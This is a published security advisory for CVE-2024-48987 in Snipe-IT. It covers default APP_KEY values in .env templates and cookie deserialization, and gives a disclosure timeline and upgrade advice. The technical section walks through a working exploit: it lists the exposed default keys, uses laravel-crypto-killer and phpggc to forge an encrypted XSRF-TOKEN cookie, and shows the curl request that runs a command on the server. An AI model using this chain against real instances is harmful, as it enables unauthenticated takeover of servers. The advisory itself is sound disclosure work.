Snipe-IT - Unauthenticated Remote Command Execution when APP_KEY known

13/12/2024 - Téléchargement

Product

Snipe-IT

Severity

High

Fixed Version(s)

7.1.15

Affected Version(s)

≤ 7.1.14

CVE Number

CVE-2024-48987

Authors

Rémi Matasse

Mickaël Benassouli

Description

Presentation

Snipe-IT is an open source asset management system based on the PHP framework Laravel.

Issue(s)

Synacktiv identified two issues on Snipe-IT:

  • XSRF-TOKEN cookies use serialized ciphered data, leading to remote code execution if an attacker gets access to the APP_KEY.
  • The usage of a default APP_KEY value on several .env files from the main repository can put users at risk regarding the previous issue.

When both vulnerabilities are met on a Snipe-IT instance, an unauthenticated attacker could compromise it.

Timeline

Date Description
2024.07.17 Advisory sent to security@snipeitapp.com
2024.09.22 Release of version 7.1.15 containing the patch
2024.10.11 CVE-2024-48987 assigned
2024.12.13 Public release

Many thanks to Snipe-IT for handling this quick disclosure process.

Technical details

Usage of a default APP_KEY value on .env templates on GitHub

Description

Several .env templates from the Snipe-IT repository contain default values for the APP_KEY environment variable.

$ git clone https://github.com/snipe/snipe-it
$ grep APP_KEY snipe-it/.env*
snipe-it/.env.dev.docker:APP_KEY=base64:3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ=
snipe-it/.env.docker:APP_KEY=base64:3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ=
snipe-it/.env.dusk.example:APP_KEY=base64:hTUIUh9CP6dQx+6EjSlfWTgbaMaaRvlpEwk45vp+xmk=
snipe-it/.env.example:APP_KEY=ChangeMe
snipe-it/.env.testing-ci:APP_KEY='base64:glJpcM7BYwWiBggp3SQ/+NlRkqsBQMaGEOjemXqJzOU='
snipe-it/.env.testing.example:APP_KEY=base64:glJpcM7BYwWiBggp3SQ/+NlRkqsBQMaGEOjemXqJzOU=
snipe-it/.env.tests:APP_KEY=base64:tu9NRh/a6+dCXBDGvg0Gv/0TcABnFsbT4AKxrr8mwQo=
snipe-it/.env.unit-tests:APP_KEY=base64:tu9NRh/a6+dCXBDGvg0Gv/0TcABnFsbT4AKxrr8mwQo=
[...]

 

Impact

While the core documentation does mention the APP_KEY generation step, developers may still use the default .env templates and put their instance at risk. As described in the next vulnerability, this parameter could allow unauthenticated users to execute remote commands on the affected servers.

Recommendation

Regenerate a new APP_KEY if you do use the default configuration of the application, the command php artisan key:generate can be used to do so.

Arbitrary unserialization via decrypt

Description

The XSRF-TOKEN cookie is delivered to any unauthenticated user navigating to the /login endpoint on a Snipe-IT instance:

$ curl -I http://localhost:8000/login
HTTP/1.1 200 OK
Date: Wed, 11 Dec 2024 16:39:05 GMT
[...]
Set-Cookie: XSRF-TOKEN=eyJpdiI6Im1KQWlWQ1NxbHZhaEsxcFI2OFM4NEE9PSIsInZhbHVlIjoiR3lISEp1SUljWlp6NzFGSVZhTXJEK0pRY2RFcUl0MFAxYmRmNHd5M25qT1lGTktYUmdpM3BleFlZVDFKcTcyYkVhOHBSRzBWbnFxMkpSSC80MWx0azlYcWI4aTk2Um13ZWxOV3JqMDhGa0lvRWVtbGZTeWhLdDAzeThPTFVvWTUiLCJtYWMiOiI4ZjYyMmY5YWEwZjAyZmYyYmYxMmE5ZTdmYTVhZWMyOGE3YzZkZWRkZTQ4OWViYTQwYWI3NTBhYzU3Nzc4Mzk4IiwidGFnIjoiIn0%3D; expires=Fri, 20-Dec-2024 00:39:05 GMT; Max-Age=720000; path=/
Set-Cookie: snipeit_session=6EVBZ4YhSN0gG7tQd5sG8CgDck56QrvZnArcBqoX; expires=Fri, 20-Dec-2024 00:39:05 GMT; Max-Age=720000; path=/; httponly
Content-Type: text/html; charset=UTF-8

As shown on the previous vulnerability, a default APP_KEY can be defined if the developers copied the default .env.example file provided by Snipe-IT.

In order to manipulate and exploit Laravel ciphers, the laravel-crypto-killer tool can be used. In the following example, the bruteforce option was used in order to try several default known APP_KEYs such as the ones from Snipe-IT:

$ ./laravel_crypto_killer.py bruteforce -v eyJpdiI6Im1KQWlWQ1NxbHZhaEsxcFI2OFM4NEE9PSIsInZhbHVlIjoiR3lISEp1SUljWlp6NzFGSVZhTXJEK0pRY2RFcUl0MFAxYmRmNHd5M25qT1lGTktYUmdpM3BleFlZVDFKcTcyYkVhOHBSRzBWbnFxMkpSSC80MWx0azlYcWI4aTk2Um13ZWxOV3JqMDhGa0lvRWVtbGZTeWhLdDAzeThPTFVvWTUiLCJtYWMiOiI4ZjYyMmY5YWEwZjAyZmYyYmYxMmE5ZTdmYTVhZWMyOGE3YzZkZWRkZTQ4OWViYTQwYWI3NTBhYzU3Nzc4Mzk4IiwidGFnIjoiIn0%3D
[*] The option --key_file was not defined, using files from the folder wordlists...
  0%|                                                                                                                         | 0/1 [00:00<?, ?it/s][+] It is your lucky day! A key was identified!
Cipher : eyJpdiI6Im1KQWlWQ1NxbHZhaEsxcFI2OFM4NEE9PSIsInZhbHVlIjoiR3lISEp1SUljWlp6NzFGSVZhTXJEK0pRY2RFcUl0MFAxYmRmNHd5M25qT1lGTktYUmdpM3BleFlZVDFKcTcyYkVhOHBSRzBWbnFxMkpSSC80MWx0azlYcWI4aTk2Um13ZWxOV3JqMDhGa0lvRWVtbGZTeWhLdDAzeThPTFVvWTUiLCJtYWMiOiI4ZjYyMmY5YWEwZjAyZmYyYmYxMmE5ZTdmYTVhZWMyOGE3YzZkZWRkZTQ4OWViYTQwYWI3NTBhYzU3Nzc4Mzk4IiwidGFnIjoiIn0%3D
Key : base64:3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ=
[*] Unciphered value
s:81:"60df322f0820f6ad9767a45596a3de165d76a812|5txCpoN9ZX8gPrJA806QB05Zi0dZIiX7kjrGbc7X";
[+] Matched serialized data in results!
100%|████████████████████████████████████████████████████| 1/1 [00:00<00:00, 85.65it/s]
[*] 1 cipher(s) loaded
[+] Found a valid key for 1 cipher(s)!
[+] Matched 1 serialized data in results! It's time to exploit unserialization to get RCE mate!
[+] Results saved in the file results/results.json

The output of the tool gives the valid default APP_KEY:base64:3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ=  and the deciphered value s:81:"60df322f0820f6ad9767a45596a3de165d76a812|5txCpoN9ZX8gPrJA806QB05Zi0dZIiX7kjrGbc7X"; as well, which is a PHP serialized data.

This is a well-known issue which was already exploited on several Laravel projects (CVE-2018-15133) and a patch was released in 2018. However, the latter was manually disabled in Snipe-IT source code, in the app/Providers/AuthServiceProvider.php file:

<?php
    public function boot()
    {
        [...]
        Passport::withCookieSerialization();
[...]

The Passport::withCookieSerialization() method enables usage of serialized data in the XSRF-TOKEN cookie (more details from the Laravel website).

Note: When encrypted cookie serialization is enabled, your application will be vulnerable to attack if its encryption key is accessed by a malicious party. If you believe your key may be in the hands of a malicious party, you should rotate the key to a new value before enabling encrypted cookie serialization.

Impact

An attacker in possession of the APP_KEY is able to fully control a string passed to an unserialize function when a call to the decrypt($user_input) function from the package Illuminate\Encryption. Which is the case in the cookie XSRF-TOKEN when the option Passport::withCookieSerialization(); is enforced.

In order to generate a serialization payload designed to run the bash command id on a Laravel based server the tool phpggc was used.

$ php7.4 phpggc Laravel/RCE9 system id -b
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czoyOiJpZCI7fX0=

In order to manipulate and exploit Laravel ciphers, the tool laravel-crypto-killer can be once more. The chain generated from phpggc can be encrypted again in order to get remote command execution on the affected server, without prior access:

$ ./laravel_crypto_killer.py encrypt -k 3ilviXqB9u6DX1NRcyWGJ+sjySF+H18CPDGb3+IVwMQ= -v $(php7.4 phpggc Laravel/RCE9 system id -b)
eyJpdiI6ICJvck1SVWxyNDF6Lytaeks4a3NxU0tnPT0iLCAidmFsdWUiOiAiUkI0Z21sbCtZN1lJcWY2OS9HaHNjMDhteGNycGwvSStNQ2FaTDczdHhOTlpUUE5kVExCbkQybm5LRHp5SEtwYkRkeVVXcEZzWVpzMTNRbnJSSnFaaFdOVDczY1hsajFTMzFqNXZ1NFhYZGdjenFBT2s1LytiSURTbDQyU3JWNUMzM3lCRjZxZGhBWDVlMklYR1Y2c29FdnRRVUtvMkkxQkorYnltWGtFOHFUREwwTUU3TWRrWlRGR1FRdTkydE85b0JxeW5WRldOcUFieCtoYnM1UjREaDhBaGg5bzVhK3U1Q2o5OHkwRS80MlFVZmRPMW9SQm0rYVliMTRUTFZWTGc0TjhHK010SWpUclBpeURwT1Mxd3lSWTkvTlpZelcxVGs3Z2xTVTFBdXBvZ1RoSUEyckhaTTJ1TXBUTklZYiswV0NFTEZGa2padHkzUEovRER2Nzh5a2h3OXFKb0dRQ01mMVllMnVMUS8rdGh3N1JWWCtJazhWaEk0K0ROVkhYdWk1ekh2MUZzUGJFZTdkWCszQ1RvcDBkcktpTlBzdlVUVHVEMlRkWmN3ODRza1Y3WXNPSWU5RHdXbEswT1o1UCIsICJtYWMiOiAiNjA0ODE1NjQ1NWY2YWJmNGY5OWE2YTg3YzY0MzUxNDU0YmU0YzQwMDliM2NiMDJkYTg2ODZkNzNmMzJjMWEyZiIsICJ0YWciOiAiIn0=

# Reusing the previous base64 chain to trigger the remote command execution
$ curl -s -H "Cookie: XSRF-TOKEN=ey[...]0=" http://localhost:8000/login | head -n 1
uid=1000(docker) gid=50(staff) groups=50(staff)

The following video sums up the exploitation process:

Video file

Recommendation

Upgrade Snipe-IT to version 7.1.15 or greater.